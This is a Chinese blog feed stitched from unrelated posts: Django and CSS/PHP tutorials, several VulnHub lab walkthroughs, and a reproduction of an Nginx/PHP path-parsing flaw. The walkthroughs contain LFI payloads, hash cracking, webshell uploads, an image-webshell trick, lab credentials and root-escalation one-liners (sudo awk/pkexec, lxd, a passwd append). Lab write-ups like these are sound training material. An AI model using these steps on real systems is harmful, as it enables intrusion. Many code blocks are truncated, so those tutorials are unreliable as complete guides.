1 | D:\Users\Administrator\Desktop\django\Hello>tree App /F |
1 | BASE_DIR#项目路径 |
设置后继续runserver,默认界面变成中文显示。
修改urls.py文件,在urlpatterns列表里增加path('',views.index,name='index')
,在views.py定义index函数:
1 | from django.http import HttpResponse |
File=>New project=>Django=>配置项目路径=>配置Python路径=>配置模板=>配置应用名称=>create
Hello目录下的路由是根路由,每个应用都可以有自己的路由,应用路由互相不影响。
在应用目录新建urls.py文件,写入:
1 | from django.urls import path #导入path模块 |
在views.py里定义函数:
1 | from django.http import HttpResponse |
在根路由列表里包含子路由列表:
1 | from django.urls import path, include |
pycharm技巧:选中views按Alt+Enter键可以导入快速导入模块,选中home可以自动生成home函数。
在Hello目录下载新建templates文件夹,用来存储模板,修改settings.py的TEMPLATES列表下的DIRS值为[os.path.join(BASE_DIR, ‘templates’)]。
在templates文件夹中新建index.html文件:
1 |
|
注意:模板文件中不能出现中文
render是Django提供的一个渲染Html的模块
request是一个固定参数, 没什么好讲的
index.html是模板文件
context是要传入文件中用于渲染呈现的数据, 默认是字典格式
1 | from django.http import HttpResponse |
如果pycharm是专业版,点击最右边的database选项,在弹出的界面选择data source,找到SQLlite数据库,按照下图配置即可。
创建User类,继承models.Model属性,创建UserName和PassWord列名,并指定表名。
1 | from django.db import models |
使用下面命令更新models并创建数据库:
1 | py -3 manage.py makemigrations#让 Django 知道我们在我们的模型有一些变更 |
完成后Django会自动创建表,并插入列名,ID列名自动增加并设置为主键。
选中database后双击User数据库,点击上面的+号,编辑你要加入的内容,点击>>展开,点击有DB的按钮提交到数据库即可。
反向生成模型是根据数据库列名来生成模型,Django给我提供了这个功能,只需要使用:py -3 manage.py inspectdb Users > App/Users.py
生成Users表的模型保存到App/Users.py,如果忽略Users,当前连接的数据所有表Model
在templates文件夹创建user_list.html文件,写入:
1 |
|
在App路由列表”urls.py”中增加path('list/',views.user_list,name='user_list')
在views.py中添加内容:
1 | def user_list(request): |
Django基础学习:https://www.xpctf.cn/posts/24c5/
Django晋级学习:https://www.xpctf.cn/posts/2f99/
Django模型学习:https://www.xpctf.cn/posts/d0b4/
Django会话学习:https://www.xpctf.cn/posts/7490/
Django Form学习:正在写
原文地址:https://www.infosecarticles.com/greenoptic-1-vulnhub-walkthrough/
确定IP后直接使用nmap扫描靶机,通过别名设置nmap快捷扫描
1 | vim ~/.bashrc |
1 | root@kali:~/桌面/vulnhub/greenoptic# cat nmap.nmap |
我们可以看到许多端口处于打开状态,让我们一一判断它们。
我们首先在端口80上开始枚举,因为我发现它很容易。在80端口,我们有一个提供宽带服务的网站。
我尝试查看页面源代码和网站上的其他链接,但没有发现任何有用的东西。因此,接下来我开始进行gobuster扫描以查找隐藏的目录。
1 | root@kali:~/桌面/vulnhub/greenoptic# gobuster dir -u http://192.168.10.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html |
我去了/account目录,找到了一个登录页面。我尝试使用一些弱口令用户名和密码登录,但无法登录。但是我注意到URL中的一个include参数似乎很有趣。
让我们看看是否可以在此参数中找到LFI漏洞。如果将include请求的cookiewarning部分更改为典型的LFI有效内容,例如“ ../../../../etc/passwd”,我们可以看到它返回了/var/www/html目录,然后读取/etc/passwd。
这完美地工作了,但是我仍然找不到使用此漏洞的方法。因此,我进行了进一步的列举。
我使用在端口10000上运行的Webmin Miniserv。当尝试在浏览器上访问它时,我们收到一个错误,该错误泄漏了子域。
我将此主机名添加到主机文件中,现在可以查看webmin登录页面。但不幸的是,我没有任何线索。因此,接下来我开始枚举端口53,以查看是否可以找到其他一些子域。由于这是在侦听TCP,因此我使用了dig axfr命令查找其他子域。
1 | root@kali:~/桌面/vulnhub/greenoptic# dig axfr @192.168.10.63 greenoptic.vm |
我们看到另一个名为recoveryplan的子域,我很快将其添加到主机文件中。
但是,当我尝试在浏览器中打开它时,它要求输入用户名和密码。
通常,有一个.htaccess文件控制这种身份验证,而有一个.htpasswd文件存储密码。我利用在帐户页面中找到的LFI来读取.htpasswd文件,并获得了哈希密码。
我将此哈希保存到文本文件中,并使用John破解了哈希。
1 | root@kali:~/桌面/vulnhub/greenoptic# echo 'staff:$apr1$YQNFpPkc$rhUZOxRE55Nkl4EDn.1Po.' > hash.txt |
现在,我们可以使用用户名staff和密码wheeler登录网站。登录后,我们会在网站上看到一个phpBB。phpBB是免费的开源公告板软件。它允许您在允许的任何人群中共享消息和公告。
如果我们查看最新帖子,就会发现该用户正在讨论对其公司的最新攻击,并且还共享一个名为dpi.zip的zip文件,并且该zip文件的密码已通过电子邮件发送给用户Sam。
在互联网上搜索后,我发现所有邮件都存储在/var/mail目录,并使用用户名作为文件名保存。所以我再次使用文件包含(LFI)来读取/var/mail/sam的内容。
现在,我下载了zip文件,并使用密码HelloSunshine123 提取了该zip文件。解压缩后,我们得到一个dpi.pcap文件。
1 | Enter host password for user 'staff':#密码不显示 |
我在Wireshark中打开文件并开始分析流量。在分析时,我找到了用户Alex的FTP凭据。
通常,FTP密码与用户密码相同,这意味着我们可以使用用户名alex和密码FwejAASD1通过SSH以用户Alex的身份登录并读取用户的标志。
1 | root@kali:~/桌面/vulnhub/greenoptic# ssh alex@192.168.10.63 |
这个盒子很容易,我们只需要在盒子外面思考!我做了很多枚举,并尝试了许多特权提升脚本,但是它们都不起作用。当我检查用户的ID时,我发现该用户已添加到Wireshark组,这意味着Wireshark已安装在盒子中。
1 | [alex@websrv01 ~]$ id |
因此,我退出外壳程序并使用“ ssh -X”再次登录,这将允许我们打开GUI应用程序。然后,我输入wireshark打开Wireshark。
1 | root@kali:~/桌面/vulnhub/greenoptic# ssh -X alex@192.168.10.63 |
打开Wireshark之后,我开始捕获任何流量,并发现一些SMTP身份验证,该身份验证每隔几分钟就会重复一次。
在检查数据包时,我们可以看到一个编码为base64的密码。
解码后,我们获得root的密码
1 | root@kali:~# echo -n AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28= | base64 -d |
现在我们可以使用su切换root并读取我们的标志!
1 | [alex@websrv01 ~]$ su - |
rp-scan -l
命令发现靶机IP,对靶机进行靶机扫描:nmap -A -v -p- -oA nmap 192.168.10.61
,开放两个端口打开后是一段密文,有点熟悉,但不知道叫什么,通过百度”ctf加密算法”关键字找到文章发现是brainfuck加密,解密后得到web用户密码,登录wordpress后修改主题404页面拿到webshell。
但是构造路径有点麻烦,这里打出来方便以后用:http://localhost/wordpress/wp-content/themes/twentysixteen/404.php
CTF密码学常见加解密总结:https://blog.csdn.net/qq_40836553/article/details/79383488
还有一个插件可以命令执行拿shell。
经过检查发现有一个web用户,使用su切换到web用户,密码就是wordpress的登录密码
因为反弹的shell不是交互式终端,使用python模拟交互式终端:python -c 'import pty;pty.spawn("/bin/bash")'
输入sudo -l发现拥有免密码以root身份执行awk命令,使用sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
即可提权成功。
nmap -A -p- -v -T4 -oA nmap 192.168.10.59
继续找typo3的用户表,但这个加密奇怪,直接进行替换。百度搜了一个typo3搭建到本地,用也知明文的密文替换靶机的密码,成功登录到后台。(后来我发现直接使用openssl生成一个密码也可以)
写博客前偷瞄师傅的wp说argon2id这个是一种加密方式,在线网站:https://argon2.online/
登录成功后就是getshell,在file选项卡找到一个文件上传的界面
但是无法上传php文件,又偷瞄了一眼师傅博客发现设置里可以修改。
找到fileDenyPattern设置项把里面的内容全部删除后点击“Write configuration”
修改设置后继续上传就能成功,接下来就是找文件路径,其实配置文件就有上传路径
我们访问上传的webshell成功获得反弹shell,继续对机器进行提权
经过检查发现没有多余用户,那就是直接提权到root用户,看了一下内核版本很高;查看了suid发现了一个很可疑的文件apache2-restart,对他进行逆向发现执行了service apache2 start
,难怪名字叫apache2-restart。(就瞄了一眼)
当执行clear命令出现以下报错是,设置TERM变量即可:export TERM=xterm-256color
1 | clear |
通过修改环境变量(env)让service命令执行我们写的文件来提权,由于终端缺陷命令错了不能修改(手残),所以写了一个脚本来执行。
1 | echo $PATH |
描述上说有很多兔子洞,我没怎么踩,唯一的坑就是在提权到用户的踩了。
靶机IP:192.168.10.58
Kali:192.168.10.12
nmap扫描:nmap -A -p- -T4 -v -oA nmap 192.168.10.58
开放端口:22 80 33060
先dirb扫描目录,发现了几个有用的目录,先访问robots.txt,看到了gym目录
通过搜索发现了gym是健身管理系统并存在一个文件上传漏洞,执行的脚本无果,应该是兔子洞,继续看其他目录。
admin目录打开是一个后他界面,尝试了弱口令无果,继续看secret和store目录。终于在store看到了希望,看到了一个pubid参数,尝试sql注入。
输入单引号后爆出sql语句错误,上sqlmap跑。
最后得出store库admin表的账号密码,使用帐号密码登录store后台。
在编辑书本信息处找到了文件上传页面,尝试上传webshell。
webshell上传成功,没有任何过滤,nc监听端口,去网站刷新一下拿到webshell。
在tony用户家目录找到一个password.txt文件,ssh: yxcvbnmYYY就是tony用户的密码,我卡了半天。
使用ssh连接到tony用户,发现该用户拥有sudo权限和lxd组
由于funbox:2就是lxd提权,这次改成sudo提权,sudo命令较多,大部分都可以提权,我们选用最简单的/usr/bin/pkexec提权:sudo -u root /usr/bin/pkexec /bin/sh
time也很好提权:sudo time /bin/bash
靶机IP:192.168.10.57
Kali:192.168.10.12
先使用nmap扫描:nmap -T4 -v -p- -A -oA nmap 192.168.10.57
开放端口:21 22 80
习惯性dirb发现一个logs,访问是404,看到ftp能匿名访问,登录发现类似用户名的压缩包,全部get到本地。
下载后先阅读.@admins、.@users、welcome.msg。发现.@admins类似base64
使用echo 'SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290' |base64 -d
解密后发现没什么东西,和.@users类似。
还发现压缩包大小都是一样的,使用zip2john取出全部压缩包的hash:zip2john *.zip >> hash
然后使用john破解hash:john hash --wordlist=/usr/share/wordlists/rockyou.txt
破解出两个密码,使用密码解压对应的文件
使用解压的密钥登录tom账号,tab不能补全命令,发现rbash限制用户执行的命令,使用bash -i即可绕过。
输入id后发现tom在lxd组,可以使用lxd提权。
把之前编译的lxd提权包下载到本地,使用脚本即可提权成功。
由于现在是在容器里面读取,如果需要完美的进入宿主机器,可以在passwd文件写一个账号
生成一个密码:openssl passwd -1 admin
构造一个用户名:rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash
追加写入到passwd : echo 'rOOt:$1$Y6W9y42e$RbrNLaswviyaMulMUNTK6/:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd
退出容器,切换到rOOt用户,密码admin,即可完美提权。
alpine包编译:https://www.xpctf.cn/posts/3bac/#lxd%E5%92%8Clxc%E6%8F%90%E6%9D%83
Emmet语法的前身是Zen coding,它使用缩写来提供html/css的编写速度,vscode内部已经集成了改语法。
1、生成标签:直接输入标签名后按tab键(回车键)补全标签
2、生成多标签:输入”div*3”生成三个div标签
3、父级标签:输入”ul>li”能生成一对ul标签 “ul>li*10”生成10个li
4、同级标签:使用+号链接 “div+p”
5、包含类名:”标签名.值”生成带class属性的标签,属性值为”值“,默认div标签
6、包含ID:”标签名#值”生成带id属性的标签,属性值为”值“,默认div标签
7、自增长:使用$符号来实现数字自增长,和*配合使用”.demo$*10”
8、生成文字:使用{}来包含文字,被包含的文件会写到标签中”div{Hello}”
生成CSS使用缩写即可,比如w100/h100即可;以font-size为例,可以输入fsz,fns也可以,只要是包含缩写的样式都会显示出来,如果有多个就在写一个字母。
vscode中提供了标准html+css语法的格式化功能,快捷键Shift+Alt+F,或者右键选择格式化文档。
修改vscode配置文件实现保存时自动格式化,打开设置搜索”emmet”,选择”在setings.json中编辑”,添加如下内容
1 | "editor.formatOnType":true, |
在CSS中,可以根据选择器的类型把选择器分为基础选择器和复合选择器,复合选择器是建立在基础选择器之上的,对基本选择器进行组合形成的。
后代选择器又称包含选择器,可以选择父元素里面的子元素。其写法就是把外层标签写在前面,内层标签写在后面,中间用空格分隔。当标签发生嵌套时,内部标签就称为外部标签的后代。
语法:父元素 子元素 {样式属性:属性值;}
父元素和子元素可以是任意一种普通选择,比如类选择器。
1 | <head> |
子元素选择器(子选择器)只能选择作为某元素的最近一级子元素,简单理解就是选亲儿子元素。
后代选择器使用空格分割父子元素,子选择器使用>号分割父子元素。
1 | <head> |
并集选择器可以选择多组标签,使用逗号分割多个元素,同时为他们定义相同的样式,并集选择器中又可以为其他选择器。通常用于集体声明。
1 | <head> |
伪类选择器用于向某些选择器添加特殊的效果,比如给链接田间特殊效果,或选择第1个,第n个元素。
伪类选择器书写最大的特点是用冒号(:)表示,因为伪类选择器有很多,比如链接伪类、结构伪类等。
为了确保链接选择器能够生效,需要按照LVHA的顺序来定义样式,如果顺序不正常会导致显示不正常。
1 | a:link/* 选择所有未被访问过的链接 */ |
:focus伪类选择器可以用来获得焦点的表单元素,焦点就是光标,一般情况<input>类表单元素才能获取,因此这个选择器也主要针对于表单元素来说。
1 | <head> |
常用的块元素有<h1>~<h2>、<p>、<div>、<ul>、<ol>、<li>等,其中<div>标签是最典型的块元素。
块元素的特点:
1 | <body> |
注意:
常见的行内元素有<a>、<strong>、<b>、<em>、<i>、<del>、<s>、<ins>、<u>、<span>等,其中<span>标签是最典型的行内元素,有的地方也将行内元素称为内联标签。
行内元素特点:
注意:
在行内元素中有几个特殊的标签:<img />、<input />、<td>,它们同时具有块元素和行内元素的特点,有些地方称它们为行内块元素。
特殊情况下,我们需要元素模式的转换,简单理解:一个模式的元素需要另一种模式的特性。比如a标签需要增加触发范围。
转换为块级元素:display:block;
1 | <head> |
转换为行内元素:display:inline;
1 | <head> |
转换成行内块元素:display:inline-block
1 | <head> |
因为CSS没有提供垂直居中的样式,所有只能曲线救国;使行边距和盒子高度相同,就能实行垂直居中。
1 | <head> |
background-color 属性定义了元素的背景颜色,一般情况下元素背景颜色默认值是transparent(透明),我们也可以手动指定背景颜色为透明色。
1 | <head> |
background-image: url() 属性定义了元素的背景图片。实际开发常用于logo或者一些装饰性的小图片或者超大的背景图片,优点是非常便于控制位置。(精灵图也是一种运用场景)
1 | <head> |
background-repeat 属性定义元素的平铺效果,四个属性值:repeat|no-repeat|repeat-x|repeat-y
1 | div { |
background-position: 属性可以改变图片在背景中的位置。参数值可以单位名词、xy坐标值、百分比。
语法:background-position:x y;
1 | <head> |
background-attachment: fixed; 属性可以设置背景图片固定而不是随着页面其他内容滚动,值设置成scrool可以随页面滚动,默认为scrool。
1 | <head> |
为了简化背景属性的代码,我们可以将这些属性合并简写在同一个属性bocakground中,从而节约代码量,当使用简写属性时,没有特定的书写顺序,一般习惯约定顺序为:
bakcground: 背景颜色 背景图片地址 背景平铺 背景图像滚动 背景图片位置
使用rgba(0,0,0,1)来设置颜色,最后一个是透明度,取值范围为0-1。
1 | <head> |
相同选择器给设置相同的样式,此时一个样式就会覆盖(层叠)另一个冲突的样式。层叠性主要解决样式冲突的问题。
层叠性原则:
1 | <head> |
子标签会继承父标签的某些样式,如文本颜色和字号。
1 | <head> |
选择器 | 选择器权重 |
---|---|
继承和* | 0,0,0,0 |
标签选择器 | 0,0,0,1 |
类选择器,伪类选择器 | 0,0,1,0 |
ID选择器 | 0,1,0,0 |
行内样式 style=”” | 1,0,0,0 |
!important | 无穷大 |
盒子模型:就是把HTML页面中的布局元素看作是一个矩形的盒子,也就是一个盛装内容的容器。CSS盒子模型本质是一个盒子,封装周围的HTML元素,它包括:边框、外边距、内边距和实际内容。
borber可以设置元素的边框,边框又三部分组成:边框宽度(粗细)边框样式和边框颜色。
border: borber-width borber-style borber-color全
border-top: borber-width borber-style borber-color上
border-bottom: borber-width borber-style borber-color下
border-left: borber-width borber-style borber-color左
border-right: borber-width borber-style borber-color右
border-collapse 属性控制浏览器绘制表格边框的方式。它控制相邻单元格的边框。
]]>border-collapse: collapse;
层叠样式表(英文全称:Cascading Style Sheets)是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态地修饰网页,还可以配合各种脚本语言动态地对网页各元素进行格式化。
CSS 能够对网页中元素位置的排版进行像素级精确控制,支持几乎所有的字体字号样式,拥有对网页对象和模型样式编辑的能力。
CSS规则由两个主要的部分构成:选择器以及一条或多条声明。
CSS通常写在head标签中,使用style标签包含,一定要以’;’结尾,键和值之间使用’:’分割。
对应CSS,代码书写风格不是强制规范,而是符合实际开发书写方式,让代码更利于阅读或检查。
1、样式格式书写
① 紧凑风格
p {color: rde;font-size: 120px;}
② 展开风格
p {
color: red;
font-size: 120px;
}
2、 样式大小写
CSS不区分大小写,大小写都能执行,但推荐使用小写字母。
3、 空格规范
① 属性值前,冒号后,保留一个空格
② 选择器和大括号之前保留一个空格
选择器可以根据不同的需求把不同的标签选出来,当一个页面存在多个相同标签时,选择器的作用就体现出来了。
如果使用p来选择,会把所有的p标签改成红色,这是可以使用选择器来单独选取。
1 | <head> |
基础选择器:基础选择器是由单个选择器组成的
复合选择器:标签选择器、类选择器、id选择器、通配符选择器
标签选择器(元素选择器)是指用HTML的标签名作为选择器,按标签名称分类,为页面中某一类标签指定统一的CSS样式。
1 | <head> |
如果想要差异化选择不同的标签,单独选一个或者某几个标签,可以使用类选择器。
1 | <head> |
当三个元素或多个元素中存在不完全相同的样式时,即可使用多类名控制样式。
1 | <head> |
id选择器可以为标有id属性的html元素指定特定的样式。
html元素以id属性来设置id选择器,css中id选择器以#号来定义。
因为id在html具有唯一性,所以id选择器一般只会调用一次。
1 | <head> |
更改页面中的所有元素样式。
1 | <head> |
css中使用font-family属性来定义文本的字体,可以存在多个字体,当存在多个字体,依次排列,遇到客户端安装的字体就使用该字体解析,使用英文逗号分割,可以使用中文。
1 | <head> |
通过修改body标签的字体大小来实现修改全部文字的大小(标题标签除外),如果不设置大小,则使用浏览器默认字体。
1 | <head> |
使用font-weight属性来定义字体样式,具体的属性值可以查询手册;还可以使用数字,100-900。
1 | <head> |
css中使用font-style来修改字体样式,具体属性值查看书册文档。
1 | <head> |
字体属性可以把以上字体样式综合来写,这样可以减少代码书写量;书写中必须按照font-style font-weight font-size/line-height fonr-family顺序来书写。
font-style font-weight可省略,font-size fonr-family必须要写。
1 | <head> |
css中使用color属性来设置字体颜色,值可以为预定义单词或者颜色的十六进制代码,还可以是RGB代码。
1 | <head> |
text-align属性用于设置元素内文本内容的对齐方式。
1 | <head> |
text-decoration属性用于设置元素内文本的显示修改,通常用于去除a标签的选下划线,值为none。
1 | <head> |
text-indent属性用于指定文本的第一行的缩进,通常是将段落的首行缩进。
em是相对单位,一个em是当前字体大小,比如当前字体大小是16px,那么1em=16px。
1 | <head> |
line-height属性用于设置行间的距离(行高),可以控制文本行与行之间的距离。在line-height中也能使用em作为单位。
1 | <head> |
1、行内样式表(行内式)
2、内部样式表(嵌入式)
3、外部样式表(链接式)
内部样式表(嵌入式)是把css代码写到html页面内部,将所有的css代码抽取出来,单独放到一个<style>标签中。内部样式表理论上可以放在html标签中的任意位置,但实际开发中都把style标签放到head标签中,它邮箱整个html页面。
1 | <head> |
行内样式表(内联样式表)是在元素标签内部的style属性中设定css样式。适合简单修改,只会影响当前标签。语法规划和内部样式表一致。
1 | <body> |
实际开发中都是外部样式表,适合与样式比较多的情况,核心是:样式表单独写到css文件中,之后把css文件引入到html页面中使用。
1、新建css文件,里面不需要标签,直接写样式即可。
2、把css文件引入到html页面中,使用link标签引入css文件。
1 | <head> |
Chrome浏览器提供了一个非常好用的调试工具,可以用来调试我们的HTML结构和CSS样式。
1、F12快捷键
2、Ctrl+Shift+i快捷键
3、右键空白处=>检查
4、设置=>更多工具=>开发者工具
PHP针对MySQL数据库提供的扩展,允许PHP当作MySQL的一个客户端连接MySQL服务端进行操作。
在php.ini搜索php_mysqli.dll,如果没有搜索到新建一行写入extension=php_mysqli.dll,如果存在则删掉前面的’;’
访问phpinfo,搜索mysqli,能搜索到则说明mysqli扩展加载成功。
PHP提供了一个面向过程的连接函数:mysqli_connect(服务器地址,用户名,密码,数据库名,端口,socket),返回一个mysqli对象。
1 |
|
mysql中不能识别’-‘,所以直接写utf8即可,不需要写utf-8。
1 | //方式一:使用标准sql语句 |
1 | $res = mysqli_close($like); |
创建数据库:
1 | CREATE DATABASE News; |
连接数据库:
1 |
|
使用mysqli_query标准执行sql语句。
1 |
|
1 |
|
1 |
|
查询数据库在PHP开发中使用相当频繁,在数据库操作中占比90%以上,所以查询也较为复杂;查询返回结果集,SQL错误返回false;结果集转换为布尔类型永远为真。
查询数据库和其他的sql执行一样,都是使用mysqli_query来执行sql语句。
1 |
|
查询数据库会返回查询结果,可能包含了一行或者多行数据,使用 mysqli_num_rows($res) 函数获取返回的结果有多少行。
1 |
|
PHP不能直接使用结果集资源,必须将结果集转换成PHP能够解析的数据格式;通过从结果集中按照结果集指针所在位置取出对应的一条记录,返回一个数组,同时指针下移。当指针移除结果集外,返回NULL。
1 |
|
使用while和foreach可以遍历全部返回值。
1 |
|
1 | <!doctype html> |
2、函数代码
1 |
|
早上看到大佬发了phpstudy_pro 8.1.0.7的Nginx解析漏洞,小弟也是抓紧时间复现了一波,漏洞产生原因就是Nginx+php的配置问题产生的,和Nginx的版本无关,并不是Nginx本身的漏洞。
phpstudy_pro:8.1.0.7
php:7.3.4
Nginx:1.15.11
打开phpstudy_pro,切换到Nginx并启动,数据库可以不需要启动,用不到。
由于是本地测试,我们直接进网站目录写shell,准备一个php文件和一个jpg文件,使用copy命令制作图片马。copy /B 1.jpg+index.php index.jpg
访问http://127.0.0.1/index.jpg
文件,正常显示说明上传成功。
在jpg后面加上/1.php,就能成功解析成php文件。
Nginx遇到/index.jpg/1.php
,由于是.php后缀文件,不做任何处理就交给php处理。
php中有个配置:cgi.fix_pathinfo,该配置项默认为1开启。如果开启,php会”修复”路径,如果后面文件不存在就直接丢弃,继续从前面解析,直到遇到存在的文件或返回404。
因为cgi.fix_pathinfo开启,所以会丢弃1.php,继续解析index.jpg,index.jpg存在,php不管你是啥都用php解析,最终造成漏洞。
官方已经更新了最新版,更新到phpstudy_pro 8.1.1.1即可。但是修复的好像有点牵强,如果访问不存在的php文件,直接返回403而不是404
https://blog.csdn.net/wn314/article/details/77388289/
https://mp.weixin.qq.com/s/L6pu5T0usFwlLhauIhfdWw
1 | sc create mysql binPath=D:\phpstudy_pro\Extensions\MySQL5.7.26\bin\mysqld.exe |
mysql:服务名称
binPath:可执行文件路径
2、 配置服务
1 | sc config mysql start=AUTO(自动/开机启动) |
3、启动服务
1 | net start mysql |
4、关闭服务
1 | net stop mysql |
5、删除服务
1 | sc delete mysql |
PHP手册能让我们快速的查询到PHP的函数和案例,但学会查看手册还是一个学问;掌握快速查询手册的技能,使PHP开发、代码审计变得简单。入门靠视频,提高靠手册。
如果看完一个函数不懂它的用法,去看看案例;如果用了出现非预期效果,去看看案例;多复制到本地运行,改变参数看结果。
这个名字瞎起的,有的时候我们要找一个函数,但是记不住函数名,就可以使用曲线搜索;比如我要找一个数组的合并函数,但我记不住函数名字时可以如下搜索。
1.命名规则搜索法
数组函数肯定和”array_“有关系,我们可以在索引的地方输入”array_“,随便点一个进去,选择目录选项卡,会发现这里全是数组函数。
2.英语搜索法
函数命令会与英语单词命名,合并的英语单词:merge,加上命名规则:array_mer;不能打全,3-4个字母即可。
3.百度搜索法
直接使用搜索引擎搜索函数名,找到函数名后再翻手册查看用法。
1 | apt update#更新源 |
访问服务器IP出现下图界面说明安装成功并启动:
扩展学习:
1 | 启动、停止、重启 |
1 | apt install php7.2-mysql php7.2-curl php7.2-json php7.2-cgi php7.2 libapache2-mod-php7.2 -y#安装php7.2,插件可选 |
访问phpinfo.php文件出现如下界面说明安装成功。
1 | apt install mysql-server -y#安装mysql服务端 |
初始化命令会和你做交互,目的是完成数据库配置,翻译一下即可完成;
一个问题是询问你是否安装密码插件,让你的密码更安全,一般选N,我确定我得密码安全,后面就一路Y即可。
apache主配置文件:/etc/apache2/apache2.conf
apache修改后必须重启:service apache2 restart
找到当前虚拟主机并添加DirectoryIndex配置项。
计算机码:原码,反码,补码;数据本身最左边一位为符号位,正数为0,负数为1。
原码:数据本身从10进制转换为2进制
正数:符号位为0
负数:符号位为1
反码:针对负数,符号位不变,其他取反
补码:针对负数,反码后加1
注意:正数不存在反码和补码,10进制转2进制是什么就是什么;或者说反码补码后还是本身
+1
00000001 正1原码
-1
10000001 负1原码
11111110 负1反码
11111111 负1补码
1 + 0 = 1
1 + 1 = 10 //逢2进1
+0
00000000
-0
10000000 //原码
11111111 //反码
00000000 //补码,因为+1等于10,结果应该等于100000000,溢出后等于00000000
+2
00000010
-2
10000010 //原码
11111101 //反码
11111110 //补码
一字节是8个2进制位,四个字节是32个2进制位
&:按位与;两个位都为1结果为1,否则为0
|:按位或;两个位有一个位为1,结果为1
~:按位非;一个位运算:位为1结果为0;为0结果为1
^:按位异或;两个位相同位0,不同为1
<<:按位左移;整个位(32位),向左移一位;右边补0
>>:按位右移;整个位(32位),向右移一位;左边补符号位(正数补0,负数补1)
1 |
|
integer (整型)
boolean (布尔型)
float (浮点型)
string (字符型)
array (数组型)
object (对象型)
resource (资源)
NULL (NULL)
Mixed (混合型)
number (数值型)
echo() //输出所有参数。不会换行。 echo 不是一个函数(它是一个语言结构)
print() //和 echo 最主要的区别: print 仅支持一个参数,并总是返回 1
var_dump() //显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
print_f() //print_r() 以人类易读的格式显示一个变量的信息
var_export() //函数返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的表示是合法的 PHP 代码。
date()//格式化时间
time()//返回当前时间戳
microtime() //当前 Unix 时间戳以及微秒数
strtotime() //日期格式的字符串并尝试将其解析为 Unix 时间戳
max()//返回最大值
mix() //返回最小值
rand() //返回一个随机数
mt_rand() //生成更好的随机数,效率高
round()//对浮点数进行四舍五入
ceil() //返回不小于 value 的下一个整数,value 如果有小数部分则进一位。
floor() //返回不大于 value 的最接近的整数,将 value 的小数部分舍去取整。
pow() //返回 base 的 exp 次方的幂。如果可能,本函数会返回 integer。
abs()//返回参数 number 的绝对值。
sqrt()//返回 arg 的平方根。
function_exists()//判断函数是否被定义
func_get_arg()//获取自定义函数的实参值
func_get_args()//获取自定义函数的所有实参值
func_num_args()//获取自定义函数的实参数量
trigger_error()//产生一个用户级错误
ini_set()//设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
1 |
|
在计算机中,有的字母何符号具有特殊的含义,如果需要使用本身而不是使用它的功能,则需要对字符串进行转义;PHP和大多数语言相似,使用+字符串来实现转义。
1 |
|
PHP常用转义符号:
1.\‘在单引号字符串中显示单引号
2.\“在双引号字符串中显示双引号
3.\r回到当前行的行首
4.\n新的一行
5.\t输出四个空格
6.\$转义$符号,让其失去定义变量的作用
1、单引号只识别\‘转义,其他原样输出;双引号不识别\‘转义,其他识别
2、单引号不解析变量,$a就输出$a;双引号解析变量,$a输出$a的值
3、单引号不解析变量和其他转义,处理纯文本效力高
4、双引号解析变量和其他转义,处理纯文本效率低
1 |
|
在utf-8字符集编码中,一个汉字占三个字节
1 |
|
转换函数
implode — 将一个一维数组的值转化为字符串
explode — 使用一个字符串分割另一个字符串
str_split — 将字符串转换为数组
处理函数
trim — 去除字符串首尾处(两边)的空白字符(或者其他字符)
ltrim — 删除字符串开头(左边)的空白字符(或其他字符)
rtrim — 删除字符串末端(右边)的空白字符(或者其他字符)
截取函数
substr — 从某位置截取指定长度的字符串
strstr — 查找字符串的首次出现并截取之后的全部字符串
大小写函数
strtolower — 将字符串转化为小写
strtoupper — 将字符串转化为大写
ucfirst — 将字符串的首字母转换为大写
查找函数
strpos — 查找字符串首次出现的位置//可能返回0,判断false使用===
strrpos — 查找字符串最后一次出现的位置//可能返回0,判断false使用===
字符串替换
str_replace — 子字符串替换
格式化函数
printf — 输出格式化字符串
sprintf — 返回格式化字符串
其他函数
str_repeat — 重复一个字符串
str_shuffle — 随机打乱一个字符串
strlen — 获取字符串长度
数组[array]:数据的组合,指将一组数据存储到一个指定的容器中,用变量指向该容器,然后通过变量一次性得到该容器中的所有数据。
使用array关键词
1 |
|
使用中括号定义
1 |
|
1 |
|
1 |
|
PHP遍历数组有专门的函数,也可以使用for之类的循环函数变量;如果是多维数组,可以进行嵌套遍历。
1 |
|
for函数只能遍历索引数组
1 |
|
1 |
|
sort — 对数组排序
rsort — 对数组逆向排序
asort — 对数组进行排序并保持索引关系
arsort — 对数组进行逆向排序并保持索引关系
ksort — 对数组按照键名排序,本函数主要用于关联数组。
krsort — 对数组按照键名逆向排序,主要用于结合数组。
shuffle — 随机打乱数组
reset — 将数组的内部指针指向第一个单元
end — 将数组的内部指针指向最后一个单元
next — 将数组中的内部指针向前移动一位
prev — 将数组的内部指针倒回一位
current — 返回数组中的当前指针键值
key — 从关联数组中取得当前指针键名
count — 计算数组中的单元数目,或对象中的属性个数
array_push — 将一个或多个单元压入数组的末尾(入栈)
array_pop — 弹出数组最后一个单元(出栈)
array_shift — 将数组开头的单元移出数组
array_unshift — 在数组开头插入一个或多个单元
array_reverse — 返回单元顺序相反的数组
in_array — 检查数组中是否存在某个值
is_array — 检测变量是否是数组
array_keys — 返回数组中部分的或所有的键名
array_values — 返回数组中所有的值
压栈:先进栈的后出栈,都是从一端出来
从前面压栈=array_unshift/array_shift
从后面压栈=array_push/array_pop
队列:先进栈的先出栈,一端进,一端出
前进后出=array_unshift/array_pop
后进前出=array_push/array_shift
编程思想:如何利用数学模式来解决对应的需求问题;然后利用代码实现对应的数据模型(逻辑)
